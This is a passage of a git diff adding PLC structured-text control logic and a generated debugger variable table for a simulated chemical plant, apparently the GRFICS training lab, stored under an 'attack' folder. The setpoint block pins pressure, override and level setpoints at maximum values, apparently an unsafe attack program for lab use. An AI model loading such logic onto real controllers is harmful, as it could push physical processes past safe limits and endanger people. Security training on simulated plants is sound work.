cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), 